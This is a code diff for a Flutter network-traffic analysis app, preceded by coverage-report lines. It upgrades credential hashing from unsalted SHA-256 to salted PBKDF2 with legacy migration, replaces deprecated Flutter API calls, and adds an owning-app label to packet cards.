+DA:1193,0 +DA:1194,0 +DA:1198,0 +DA:1199,0 +DA:1201,0 +DA:1204,0 +DA:1205,0 +DA:1211,0 +DA:1212,0 +DA:1214,0 +DA:1215,0 +DA:1216,0 +DA:1217,0 +DA:1219,0 +DA:1221,0 +DA:1222,0 +DA:1225,0 +DA:1227,0 +DA:1228,0 +DA:1232,0 +DA:1233,0 +DA:1234,0 +DA:1235,0 +DA:1237,0 +DA:1239,0 +DA:1241,0 +DA:1243,0 +DA:1245,0 +DA:1250,0 +DA:1251,0 +DA:1252,0 +DA:1253,0 +DA:1255,0 +DA:1257,0 +DA:1259,0 +DA:1264,0 +DA:1265,0 +DA:1266,0 +DA:1267,0 +DA:1269,0 +DA:1271,0 +DA:1273,0 +DA:1282,0 +DA:1283,0 +DA:1286,0 +DA:1287,0 +DA:1288,0 +DA:1289,0 +DA:1290,0 +DA:1291,0 +DA:1292,0 +DA:1293,0 +DA:1294,0 +DA:1295,0 +DA:1296,0 +DA:1297,0 +DA:1299,0 +DA:1302,0 +DA:1305,0 +DA:1306,0 +DA:1308,0 +DA:1309,0 +DA:1311,0 +DA:1313,0 +DA:1316,0 +DA:1317,0 +DA:1318,0 +DA:1320,0 +DA:1322,0 +DA:1325,0 +DA:1328,0 +DA:1329,0 +DA:1330,0 +DA:1331,0 +DA:1333,0 +DA:1337,0 +DA:1340,0 +DA:1343,0 +DA:1344,0 +DA:1345,0 +DA:1346,0 +DA:1347,0 +DA:1348,0 +DA:1349,0 +DA:1350,0 +DA:1351,0 +DA:1352,0 +DA:1355,0 +DA:1356,0 +DA:1357,0 +DA:1360,0 +DA:1361,0 +DA:1363,0 +DA:1364,0 +DA:1365,0 +DA:1366,0 +DA:1368,0 +DA:1370,0 +DA:1372,0 +DA:1373,0 +DA:1374,0 +DA:1383,0 +DA:1386,0 +DA:1387,0 +DA:1390,0 +DA:1391,0 +DA:1392,0 +DA:1393,0 +DA:1394,0 +DA:1396,0 +DA:1397,0 +DA:1398,0 +DA:1399,0 +DA:1400,0 +DA:1408,0 +DA:1422,0 +DA:1434,0 +DA:1438,0 +DA:1439,0 +DA:1459,0 +DA:1465,0 +DA:1467,0 +DA:1468,0 +DA:1469,0 +DA:1470,0 +DA:1472,0 +DA:1473,0 +DA:1474,0 +DA:1476,0 +DA:1478,0 +DA:1479,0 +DA:1480,0 +DA:1483,0 +DA:1485,0 +DA:1499,0 +DA:1505,0 +DA:1507,0 +DA:1509,0 +DA:1510,0 +DA:1511,0 +DA:1512,0 +DA:1514,0 +DA:1516,0 +DA:1517,0 +DA:1518,0 +DA:1519,0 +DA:1521,0 +DA:1523,0 +DA:1530,0 +DA:1531,0 +DA:1537,0 +DA:1538,0 +DA:1543,0 +DA:1544,0 +DA:1545,0 +DA:1546,0 +DA:1547,0 +DA:1554,0 +DA:1555,0 +DA:1558,0 +DA:1559,0 +DA:1560,0 +DA:1562,0 +DA:1563,0 +DA:1564,0 +DA:1566,0 +DA:1567,0 +DA:1569,0 +DA:1570,0 +DA:1571,0 +DA:1578,0 +DA:1579,0 +DA:1580,0 +DA:1581,0 +DA:1588,0 +DA:1589,0 +DA:1590,0 +DA:1597,0 +DA:1598,0 +DA:1599,0 +DA:1600,0 +DA:1601,0 +DA:1602,0 +DA:1603,0 +DA:1604,0 +DA:1605,0 +DA:1606,0 +DA:1608,0 +DA:1612,0 +DA:1613,0 +DA:1614,0 +DA:1616,0 +DA:1618,0 +DA:1620,0 +DA:1633,0 +DA:1635,0 +DA:1637,0 +DA:1638,0 +DA:1640,0 +DA:1642,0 +DA:1643,0 +DA:1644,0 +DA:1645,0 +DA:1647,0 +DA:1649,0 +DA:1650,0 +DA:1651,0 +DA:1652,0 +DA:1654,0 +DA:1656,0 +DA:1665,0 +DA:1666,0 +DA:1670,0 +DA:1671,0 +DA:1672,0 +DA:1673,0 +DA:1677,0 +DA:1679,0 +DA:1680,0 +DA:1681,0 +DA:1682,0 +DA:1685,0 +DA:1686,0 +DA:1694,0 +DA:1695,0 +DA:1698,0 +DA:1700,0 +DA:1701,0 +DA:1703,0 +DA:1704,0 +DA:1705,0 +DA:1707,0 +DA:1708,0 +DA:1709,0 +DA:1713,0 +DA:1715,0 +DA:1716,0 +DA:1717,0 +DA:1719,0 +DA:1720,0 +DA:1733,0 +DA:1734,0 +DA:1737,0 +DA:1739,0 +DA:1740,0 +DA:1742,0 +DA:1743,0 +DA:1744,0 +DA:1746,0 +DA:1747,0 +DA:1748,0 +DA:1752,0 +DA:1753,0 +DA:1754,0 +DA:1761,0 +DA:1764,0 +DA:1765,0 +DA:1766,0 +DA:1767,0 +DA:1768,0 +DA:1771,0 +DA:1772,0 +DA:1777,0 +DA:1780,0 +DA:1781,0 +DA:1782,0 +DA:1783,0 +DA:1784,0 +DA:1787,0 +DA:1788,0 +LF:765 +LH:0 +end_of_record diff --git a/lib/anomaly_dashboard.dart b/lib/anomaly_dashboard.dart index 12edc6a..1e1ff18 100644 --- a/lib/anomaly_dashboard.dart +++ b/lib/anomaly_dashboard.dart @@ -6,8 +6,7 @@ import 'models.dart'; class AnomalyDashboard extends StatefulWidget { final Stream anomalyStream; - const AnomalyDashboard({Key? key, required this.anomalyStream}) - : super(key: key); + const AnomalyDashboard({super.key, required this.anomalyStream}); @override State createState() => _AnomalyDashboardState(); diff --git a/lib/auth/auth_service.dart b/lib/auth/auth_service.dart index cdc707b..394ad9f 100644 --- a/lib/auth/auth_service.dart +++ b/lib/auth/auth_service.dart @@ -1,4 +1,5 @@ import 'dart:convert'; +import 'dart:math'; import 'package:crypto/crypto.dart'; import 'package:flutter/foundation.dart'; import 'package:flutter_secure_storage/flutter_secure_storage.dart'; @@ -20,10 +21,11 @@ class AuthenticationService extends ChangeNotifier { static const String _lockUntilKey = 'lock_until'; static const String _lastAuthKey = 'last_auth_time'; + // flutter_secure_storage 11+: AES-GCM encryption is on by default for + // AndroidOptions() — the old encryptedSharedPreferences flag was removed + // because it's no longer optional. final FlutterSecureStorage _secureStorage = const FlutterSecureStorage( - aOptions: AndroidOptions( - encryptedSharedPreferences: true, - ), + aOptions: AndroidOptions(), ); final LocalAuthentication _localAuth = LocalAuthentication(); @@ -94,17 +96,87 @@ class AuthenticationService extends ChangeNotifier { notifyListeners(); } - String _hashCredential(String credential) { - final bytes = utf8.encode(credential); - final digest = sha256.convert(bytes); - return digest.toString(); + // ── Credential hashing (PBKDF2-HMAC-SHA256, salted) ──────────────────── + // + // Previously a bare unsalted SHA-256 digest — trivially precomputable + // (all 10,000 4-digit PIN hashes fit in a rainbow table in microseconds), + // which matters more than usual here since this app explicitly targets + // rooted devices where secure storage is a softer target. Stored format + // is "iterations:saltBase64:hashBase64" so the iteration count can be + // bumped later without a migration. Legacy unsalted hashes (no ':') are + // verified once against the old scheme, then transparently upgraded — + // no forced re-setup for existing installs. + static const int _pbkdf2Iterations = 120000; + static const int _saltLengthBytes = 16; + static final Random _secureRandom = Random.secure(); + + Uint8List _generateSalt() => + Uint8List.fromList(List.generate(_saltLengthBytes, (_) => _secureRandom.nextInt(256))); + + /// PBKDF2 with HMAC-SHA256, matching RFC 8018. SHA-256 produces exactly + /// one 32-byte block, so this only needs the single-block derivation. + List _pbkdf2(String credential, List salt, int iterations) { + final hmac = Hmac(sha256, utf8.encode(credential)); + final blockIndex = [0, 0, 0, 1]; // INT_32_BE(1) — first (only) block + var u = hmac.convert([...salt, ...blockIndex]).bytes; + final result = List.from(u); + for (var i = 1; i < iterations; i++) { + u = hmac.convert(u).bytes; + for (var j = 0; j < result.length; j++) { + result[j] ^= u[j]; + } + } + return result; + } + + bool _constantTimeEquals(String a, String b) { + if (a.length != b.length) return false; + var diff = 0; + for (var i = 0; i < a.length; i++) { + diff |= a.codeUnitAt(i) ^ b.codeUnitAt(i); + } + return diff == 0; + } + + String _hashCredentialSalted(String credential) { + final salt = _generateSalt(); + final hash = _pbkdf2(credential, salt, _pbkdf2Iterations); + return '$_pbkdf2Iterations:${base64Encode(salt)}:${base64Encode(hash)}'; + } + + /// The old unsalted scheme — kept only to verify (and then upgrade) hashes + /// written before this change. + String _hashCredentialLegacy(String credential) => sha256.convert(utf8.encode(credential)).toString(); + + /// Verifies [candidate] against [stored], transparently upgrading a + /// legacy unsalted hash to the salted format on a successful match via + /// [persistUpgraded]. + Future _verifyCredential( + String stored, + String candidate, + Future Function(String upgraded) persistUpgraded, + ) async { + if (!stored.contains(':')) { + final matches = _hashCredentialLegacy(candidate) == stored; + if (matches) { + await persistUpgraded(_hashCredentialSalted(candidate)); + } + return matches; + } + + final parts = stored.split(':'); + if (parts.length != 3) return false; + final iterations = int.tryParse(parts[0]); + if (iterations == null) return false; + final salt = base64Decode(parts[1]); + final candidateHash = base64Encode(_pbkdf2(candidate, salt, iterations)); + return _constantTimeEquals(candidateHash, parts[2]); } Future setupPin(String pin) async { if (pin.length < 4) return false; - final hashedPin = _hashCredential(pin); - await _secureStorage.write(key: _pinKey, value: hashedPin); + await _secureStorage.write(key: _pinKey, value: _hashCredentialSalted(pin)); await _prefs?.setString(_authMethodKey, AuthMethod.pin.toString()); _currentAuthMethod = AuthMethod.pin; return true; @@ -113,8 +185,7 @@ class AuthenticationService extends ChangeNotifier { Future setupPassword(String password) async { if (password.length < 6) return false; - final hashedPassword = _hashCredential(password); - await _secureStorage.write(key: _passwordKey, value: hashedPassword); + await _secureStorage.write(key: _passwordKey, value: _hashCredentialSalted(password)); await _prefs?.setString(_authMethodKey, AuthMethod.password.toString()); _currentAuthMethod = AuthMethod.password; return true; @@ -124,8 +195,7 @@ class AuthenticationService extends ChangeNotifier { if (pattern.length < 4) return false; final patternString = pattern.join(','); - final hashedPattern = _hashCredential(patternString); - await _secureStorage.write(key: _patternKey, value: hashedPattern); + await _secureStorage.write(key: _patternKey, value: _hashCredentialSalted(patternString)); await _prefs?.setString(_authMethodKey, AuthMethod.pattern.toString()); _currentAuthMethod = AuthMethod.pattern; return true; @@ -156,8 +226,12 @@ class AuthenticationService extends ChangeNotifier { final storedPin = await _secureStorage.read(key: _pinKey); if (storedPin == null) return false; - final hashedPin = _hashCredential(pin); - if (hashedPin == storedPin) { + final matches = await _verifyCredential( + storedPin, + pin, + (upgraded) => _secureStorage.write(key: _pinKey, value: upgraded), + ); + if (matches) { await _onSuccessfulAuth(); return true; } else { @@ -177,8 +251,12 @@ class AuthenticationService extends ChangeNotifier { final storedPassword = await _secureStorage.read(key: _passwordKey); if (storedPassword == null) return false; - final hashedPassword = _hashCredential(password); - if (hashedPassword == storedPassword) { + final matches = await _verifyCredential( + storedPassword, + password, + (upgraded) => _secureStorage.write(key: _passwordKey, value: upgraded), + ); + if (matches) { await _onSuccessfulAuth(); return true; } else { @@ -199,8 +277,12 @@ class AuthenticationService extends ChangeNotifier { if (storedPattern == null) return false; final patternString = pattern.join(','); - final hashedPattern = _hashCredential(patternString); - if (hashedPattern == storedPattern) { + final matches = await _verifyCredential( + storedPattern, + patternString, + (upgraded) => _secureStorage.write(key: _patternKey, value: upgraded), + ); + if (matches) { await _onSuccessfulAuth(); return true; } else { @@ -219,10 +301,8 @@ class AuthenticationService extends ChangeNotifier { try { final bool isAuthenticated = await _localAuth.authenticate( localizedReason: 'Access Andronet by CipherSec', - options: const AuthenticationOptions( - stickyAuth: true, - biometricOnly: true, - ), + biometricOnly: true, + persistAcrossBackgrounding: true, ); if (isAuthenticated) { diff --git a/lib/auth/auth_wrapper.dart b/lib/auth/auth_wrapper.dart index d13a35c..361f36d 100644 --- a/lib/auth/auth_wrapper.dart +++ b/lib/auth/auth_wrapper.dart @@ -5,7 +5,7 @@ import 'login_screen.dart'; import '../main.dart'; class AuthWrapper extends StatefulWidget { - const AuthWrapper({Key? key}) : super(key: key); + const AuthWrapper({super.key}); @override State createState() => _AuthWrapperState(); @@ -78,7 +78,7 @@ class _AuthWrapperState extends State with WidgetsBindingObserver { } class _LoadingScreen extends StatelessWidget { - const _LoadingScreen({Key? key}) : super(key: key); + const _LoadingScreen(); @override Widget build(BuildContext context) { @@ -114,7 +114,7 @@ class _LoadingScreen extends StatelessWidget { 'by CipherSec', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.6), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.6), ), ), const SizedBox(height: 16), @@ -122,7 +122,7 @@ class _LoadingScreen extends StatelessWidget { 'Initializing Security...', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), ), const SizedBox(height: 32), diff --git a/lib/auth/login_screen.dart b/lib/auth/login_screen.dart index 633be34..476133b 100644 --- a/lib/auth/login_screen.dart +++ b/lib/auth/login_screen.dart @@ -5,7 +5,7 @@ import 'auth_service.dart'; import 'widgets/pattern_widget.dart'; class LoginScreen extends StatefulWidget { - const LoginScreen({Key? key}) : super(key: key); + const LoginScreen({super.key}); @override State createState() => _LoginScreenState(); @@ -188,7 +188,7 @@ class _LoginScreenState extends State 'Too many failed attempts. Please wait:', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), textAlign: TextAlign.center, ), @@ -250,7 +250,7 @@ class _LoginScreenState extends State 'by CipherSec', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), ), ], @@ -297,7 +297,7 @@ class _LoginScreenState extends State decoration: InputDecoration( hintText: '••••', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -367,7 +367,7 @@ class _LoginScreenState extends State decoration: InputDecoration( hintText: 'Password', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -493,7 +493,7 @@ class _LoginScreenState extends State Icon( Icons.security_update_good, size: 64, - color: Theme.of(context).colorScheme.primary.withOpacity(0.7), + color: Theme.of(context).colorScheme.primary.withValues(alpha: 0.7), ), const SizedBox(height: 24), Text( @@ -509,7 +509,7 @@ class _LoginScreenState extends State 'Choose a security method to protect your network analysis', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), textAlign: TextAlign.center, ), diff --git a/lib/auth/setup_auth_screen.dart b/lib/auth/setup_auth_screen.dart index 37ef66c..138e582 100644 --- a/lib/auth/setup_auth_screen.dart +++ b/lib/auth/setup_auth_screen.dart @@ -4,7 +4,7 @@ import 'auth_service.dart'; import 'widgets/pattern_widget.dart'; class SetupAuthScreen extends StatefulWidget { - const SetupAuthScreen({Key? key}) : super(key: key); + const SetupAuthScreen({super.key}); @override State createState() => _SetupAuthScreenState(); @@ -126,6 +126,7 @@ class _SetupAuthScreenState extends State Future _showBiometricSetup() async { final authService = Provider.of(context, listen: false); final isAvailable = await authService.isBiometricAvailable(); + if (!mounted) return; if (!isAvailable) { Navigator.of(context).pushReplacementNamed('/'); @@ -156,6 +157,7 @@ class _SetupAuthScreenState extends State ElevatedButton( onPressed: () async { await authService.enableBiometric(); + if (!context.mounted) return; Navigator.of(context).pop(); Navigator.of(context).pushReplacementNamed('/'); }, @@ -202,7 +204,7 @@ class _SetupAuthScreenState extends State Container( margin: const EdgeInsets.all(16), decoration: BoxDecoration( - color: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + color: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), borderRadius: BorderRadius.circular(12), ), child: TabBar( @@ -212,7 +214,7 @@ class _SetupAuthScreenState extends State borderRadius: BorderRadius.circular(10), ), labelColor: Colors.white, - unselectedLabelColor: Theme.of(context).colorScheme.onSurface.withOpacity(0.6), + unselectedLabelColor: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.6), dividerColor: Colors.transparent, tabs: const [ Tab(text: 'PIN', icon: Icon(Icons.pin, size: 16)), @@ -255,7 +257,7 @@ class _SetupAuthScreenState extends State 'Enter a 4-6 digit PIN to secure your app', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), ), const SizedBox(height: 32), @@ -268,7 +270,7 @@ class _SetupAuthScreenState extends State labelText: 'PIN', hintText: 'Enter 4-6 digits', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -286,7 +288,7 @@ class _SetupAuthScreenState extends State labelText: 'Confirm PIN', hintText: 'Re-enter PIN', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -343,7 +345,7 @@ class _SetupAuthScreenState extends State 'Enter a secure password with at least 6 characters', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), ), const SizedBox(height: 32), @@ -354,7 +356,7 @@ class _SetupAuthScreenState extends State labelText: 'Password', hintText: 'Enter password', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -373,7 +375,7 @@ class _SetupAuthScreenState extends State labelText: 'Confirm Password', hintText: 'Re-enter password', filled: true, - fillColor: Theme.of(context).colorScheme.surfaceVariant.withOpacity(0.3), + fillColor: Theme.of(context).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), border: OutlineInputBorder( borderRadius: BorderRadius.circular(12), borderSide: BorderSide.none, @@ -435,7 +437,7 @@ class _SetupAuthScreenState extends State : 'Draw the same pattern to confirm', style: TextStyle( fontSize: 16, - color: Theme.of(context).colorScheme.onSurface.withOpacity(0.7), + color: Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.7), ), ), const SizedBox(height: 32), diff --git a/lib/auth/widgets/pattern_widget.dart b/lib/auth/widgets/pattern_widget.dart index aebdb15..4f5c2f9 100644 --- a/lib/auth/widgets/pattern_widget.dart +++ b/lib/auth/widgets/pattern_widget.dart @@ -8,12 +8,12 @@ class PatternWidget extends StatefulWidget { final bool isSetupMode; const PatternWidget({ - Key? key, + super.key, required this.selectedPattern, required this.onPatternChanged, this.onPatternComplete, this.isSetupMode = false, - }) : super(key: key); + }); @override State createState() => _PatternWidgetState(); @@ -166,7 +166,7 @@ class PatternPainter extends CustomPainter { if (selectedPattern.length < 2) return; final paint = Paint() - ..color = primaryColor.withOpacity(0.6) + ..color = primaryColor.withValues(alpha: 0.6) ..strokeWidth = 4.0 ..strokeCap = StrokeCap.round; @@ -191,7 +191,7 @@ class PatternPainter extends CustomPainter { // Draw outer circle final outerPaint = Paint() - ..color = isSelected ? primaryColor : primaryColor.withOpacity(0.3) + ..color = isSelected ? primaryColor : primaryColor.withValues(alpha: 0.3) ..style = PaintingStyle.stroke ..strokeWidth = 2.0; @@ -228,7 +228,7 @@ class PatternPainter extends CustomPainter { ); } else { final innerPaint = Paint() - ..color = primaryColor.withOpacity(0.3) + ..color = primaryColor.withValues(alpha: 0.3) ..style = PaintingStyle.fill; canvas.drawCircle(position, 4, innerPaint); diff --git a/lib/enhanced_ui_components.dart b/lib/enhanced_ui_components.dart index 1d8d49b..fb9cf0d 100644 --- a/lib/enhanced_ui_components.dart +++ b/lib/enhanced_ui_components.dart @@ -1,5 +1,4 @@ import 'package:flutter/material.dart'; -import 'package:flutter/services.dart'; import 'models.dart'; // Enhanced UI Components for Advanced Features @@ -9,7 +8,7 @@ import 'models.dart'; class EnhancedPacketCard extends StatelessWidget { final PacketInfo packet; - const EnhancedPacketCard({Key? key, required this.packet}) : super(key: key); + const EnhancedPacketCard({super.key, required this.packet}); @override Widget build(BuildContext context) { @@ -25,7 +24,7 @@ class EnhancedPacketCard extends StatelessWidget { side: BorderSide( color: securityLevel > 0 ? _getSecurityColor(securityLevel) - : packet.directionColor.withOpacity(0.3), + : packet.directionColor.withValues(alpha: 0.3), width: securityLevel > 0 ? 2 : 1, ), ), @@ -47,9 +46,9 @@ class EnhancedPacketCard extends StatelessWidget { vertical: 4, ), decoration: BoxDecoration( - color: protocolColor.withOpacity(0.1), + color: protocolColor.withValues(alpha: 0.1), borderRadius: BorderRadius.circular(6), - border: Border.all(color: protocolColor.withOpacity(0.3)), + border: Border.all(color: protocolColor.withValues(alpha: 0.3)), ), child: Row( mainAxisSize: MainAxisSize.min, @@ -81,7 +80,7 @@ class EnhancedPacketCard extends StatelessWidget { vertical: 2, ), decoration: BoxDecoration( - color: packet.directionColor.withOpacity(0.1), + color: packet.directionColor.withValues(alpha: 0.1), borderRadius: BorderRadius.circular(4), ), child: Row( @@ -118,7 +117,7 @@ class EnhancedPacketCard extends StatelessWidget { decoration: BoxDecoration( color: _getSecurityColor( securityLevel, - ).withOpacity(0.1), + ).withValues(alpha: 0.1), borderRadius: BorderRadius.circular(4), border: Border.all( color: _getSecurityColor(securityLevel), @@ -158,7 +157,7 @@ class EnhancedPacketCard extends StatelessWidget { vertical: 2, ), decoration: BoxDecoration( - color: Colors.purple.withOpacity(0.1), + color: Colors.purple.withValues(alpha: 0.1), borderRadius: BorderRadius.circular(4), border: Border.all(color: Colors.purple), ), @@ -193,7 +192,7 @@ class EnhancedPacketCard extends StatelessWidget { fontSize: 11, color: Theme.of( context, - ).colorScheme.onSurface.withOpacity(0.6), + ).colorScheme.onSurface.withValues(alpha: 0.6), fontFamily: 'monospace', ), ), @@ -202,6 +201,33 @@ class EnhancedPacketCard extends StatelessWidget { const SizedBox(height: 12), + // Owning app (if resolved via ConnectivityManager.getConnectionOwnerUid) + if (packet.owningApp != null) + Padding( + padding: const EdgeInsets.only(bottom: 6), + child: Row( + children: [ + Icon( + Icons.apps, + size: 16, + color: Colors.deepPurple.shade300, + ), + const SizedBox(width: 6), + Expanded( + child: Text( + packet.owningApp!, + style: TextStyle( + fontSize: 13, + fontWeight: FontWeight.w600, + color: Colors.deepPurple.shade300, + ), + overflow: TextOverflow.ellipsis, + ), + ), + ], + ), + ), + // Domain Name (if available) if (packet.domainFriendly != null) Padding( @@ -288,7 +314,7 @@ class EnhancedPacketCard extends StatelessWidget { vertical: 2, ), decoration: BoxDecoration( - color: Colors.orange.withOpacity(0.1), + color: Colors.orange.withValues(alpha: 0.1), borderRadius: BorderRadius.circular(4), border: Border.all(color: Colors.orange), ), @@ -313,7 +339,7 @@ class EnhancedPacketCard extends StatelessWidget { vertical: 2, ), decoration: BoxDecoration( - color: Colors.red.withOpacity(0.1), + color: Colors.red.withValues(alpha: 0.1), borderRadius: BorderRadius.circular(4), border: Border.all(color: Colors.red), ), @@ -514,8 +540,7 @@ class EnhancedPacketCard extends StatelessWidget { class EnhancedPacketDetailsDialog extends StatefulWidget { final PacketInfo packet; - const EnhancedPacketDetailsDialog({Key? key, required this.packet}) - : super(key: key); + const EnhancedPacketDetailsDialog({super.key, required this.packet}); @override State createState() => @@ -573,7 +598,7 @@ class _EnhancedPacketDetailsDialogState padding: const EdgeInsets.all(20), decoration: BoxDecoration( gradient: LinearGradient( - colors: [protocolColor.withOpacity(0.8), protocolColor], + colors: [protocolColor.withValues(alpha: 0.8), protocolColor], begin: Alignment.topLeft, end: Alignment.bottomRight, ), @@ -587,7 +612,7 @@ class _EnhancedPacketDetailsDialogState Container( padding: const EdgeInsets.all(12), decoration: BoxDecoration( - color: Colors.white.withOpacity(0.2), + color: Colors.white.withValues(alpha: 0.2), borderRadius: BorderRadius.circular(8), ), child: Icon( @@ -612,7 +637,7 @@ class _EnhancedPacketDetailsDialogState Text( '${widget.packet.appName ?? widget.packet.protocol} • ${widget.packet.displayDirection} • ${widget.packet.formattedTime}', style: TextStyle( - color: Colors.white.withOpacity(0.8), + color: Colors.white.withValues(alpha: 0.8), fontSize: 12, ), ), @@ -752,7 +777,7 @@ class _EnhancedPacketDetailsDialogState const Spacer(), Container( decoration: BoxDecoration( - color: Theme.of(context).colorScheme.surfaceVariant, + color: Theme.of(context).colorScheme.surfaceContainerHighest, borderRadius: BorderRadius.circular(8), ), child: Row( @@ -795,7 +820,7 @@ class _EnhancedPacketDetailsDialogState decoration: BoxDecoration( color: Theme.of( context, - ).colorScheme.surfaceVariant.withOpacity(0.3), + ).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), borderRadius: BorderRadius.circular(8), ), child: Column( @@ -884,9 +909,9 @@ class _EnhancedPacketDetailsDialogState return Container( padding: const EdgeInsets.all(12), decoration: BoxDecoration( - color: Colors.purple.withOpacity(0.05), + color: Colors.purple.withValues(alpha: 0.05), borderRadius: BorderRadius.circular(8), - border: Border.all(color: Colors.purple.withOpacity(0.3)), + border: Border.all(color: Colors.purple.withValues(alpha: 0.3)), ), child: Column( crossAxisAlignment: CrossAxisAlignment.start, @@ -906,9 +931,9 @@ class _EnhancedPacketDetailsDialogState return Container( padding: const EdgeInsets.all(12), decoration: BoxDecoration( - color: Colors.green.withOpacity(0.05), + color: Colors.green.withValues(alpha: 0.05), borderRadius: BorderRadius.circular(8), - border: Border.all(color: Colors.green.withOpacity(0.3)), + border: Border.all(color: Colors.green.withValues(alpha: 0.3)), ), child: Column( crossAxisAlignment: CrossAxisAlignment.start, @@ -928,9 +953,9 @@ class _EnhancedPacketDetailsDialogState return Container( padding: const EdgeInsets.all(12), decoration: BoxDecoration( - color: Colors.blue.withOpacity(0.05), + color: Colors.blue.withValues(alpha: 0.05), borderRadius: BorderRadius.circular(8), - border: Border.all(color: Colors.blue.withOpacity(0.3)), + border: Border.all(color: Colors.blue.withValues(alpha: 0.3)), ), child: Column( crossAxisAlignment: CrossAxisAlignment.start, @@ -960,7 +985,7 @@ class _EnhancedPacketDetailsDialogState decoration: BoxDecoration( color: Colors.white, borderRadius: BorderRadius.circular(6), - border: Border.all(color: Colors.purple.withOpacity(0.2)), + border: Border.all(color: Colors.purple.withValues(alpha: 0.2)), ), child: Row( children: [ @@ -988,7 +1013,7 @@ class _EnhancedPacketDetailsDialogState decoration: BoxDecoration( color: Colors.white, borderRadius: BorderRadius.circular(6), - border: Border.all(color: Colors.green.withOpacity(0.2)), + border: Border.all(color: Colors.green.withValues(alpha: 0.2)), ), child: Row( children: [ @@ -1031,7 +1056,7 @@ class _EnhancedPacketDetailsDialogState decoration: BoxDecoration( color: Theme.of( context, - ).colorScheme.surfaceVariant.withOpacity(0.3), + ).colorScheme.surfaceContainerHighest.withValues(alpha: 0.3), borderRadius: BorderRadius.circular(8), ), child: Column( @@ -1173,8 +1198,9 @@ class _EnhancedPacketDetailsDialogState String _getAnomalyDetectionMethod(PacketInfo packet) { if (packet.anomalyScore != null) { // Determine which ML algorithm detected the anomaly - if (packet.protocol == 'TCP' && packet.flags != null) + if (packet.protocol == 'TCP' && packet.flags != null) { return 'Connection Pattern Analysis'; + } if (packet.size > 10000) return 'Statistical Size Analysis'; if (packet.payloadAnalysis?['entropy'] != null) return 'Entropy Analysis'; return 'Behavioral Analysis'; @@ -1402,7 +1428,7 @@ class _EnhancedPacketDetailsDialogState height: 1.5, ), ); - }).toList(), + }), // Body separator if (bodyLines.isNotEmpty) ...[ @@ -1456,7 +1482,7 @@ class _ViewToggleButton extends StatelessWidget { fontWeight: FontWeight.bold, color: isSelected ? Colors.white - : Theme.of(context).colorScheme.onSurface.withOpacity(0.6), + : Theme.of(context).colorScheme.onSurface.withValues(alpha: 0.6), ), ), ), @@ -1471,19 +1497,19 @@ class AnomalyDetectionPanel extends StatelessWidget { final VoidCallback onClearAnomalies; const AnomalyDetectionPanel({ - Key? key, + super.key, required this.anomalies, required this.onClearAnomalies, - }) : super(key: key); + }); @override Widget build(BuildContext context) { return Container( padding: const EdgeInsets.all(16), decoration: BoxDecoration( - color: Colors.red.withOpacity(0.05), + color: Colors.red.withValues(alpha: 0.05), borderRadius: BorderRadius.circular(12), - border: Border.all(color: Colors.red.withOpacity(0.3)), + border: Border.all(color: Colors.red.withValues(alpha: 0.3)), ), child: Column( crossAxisAlignment: CrossAxisAlignment.start, @@ -1552,7 +1578,7 @@ class AnomalyDetectionPanel extends StatelessWidget { Text( anomaly.description, style: TextStyle( - color: Colors.white.withOpacity(0.8), + color: Colors.white.withValues(alpha: 0.8), fontSize: 10, ), ), @@ -1561,7 +1587,7 @@ class AnomalyDetectionPanel extends StatelessWidget { ), Text( anomaly.timestamp.toString(), - style: TextStyle(color: Colors.white.withOpacity(0.7), fontSize: 9), + style: TextStyle(color: Colors.white.withValues(alpha: 0.7), fontSize: 9), ), ], ), @@ -1604,8 +1630,7 @@ class AnomalyDetectionPanel extends StatelessWidget { class FileCarvingPanel extends StatelessWidget { final Map payloadAnalysis; - const FileCarvingPanel({Key? key, required this.payloadAnalysis}) - : super(key: key); + const FileCarvingPanel({super.key, required this.payloadAnalysis}); @override Widget build(BuildContext context) { @@ -1615,9 +1640,9 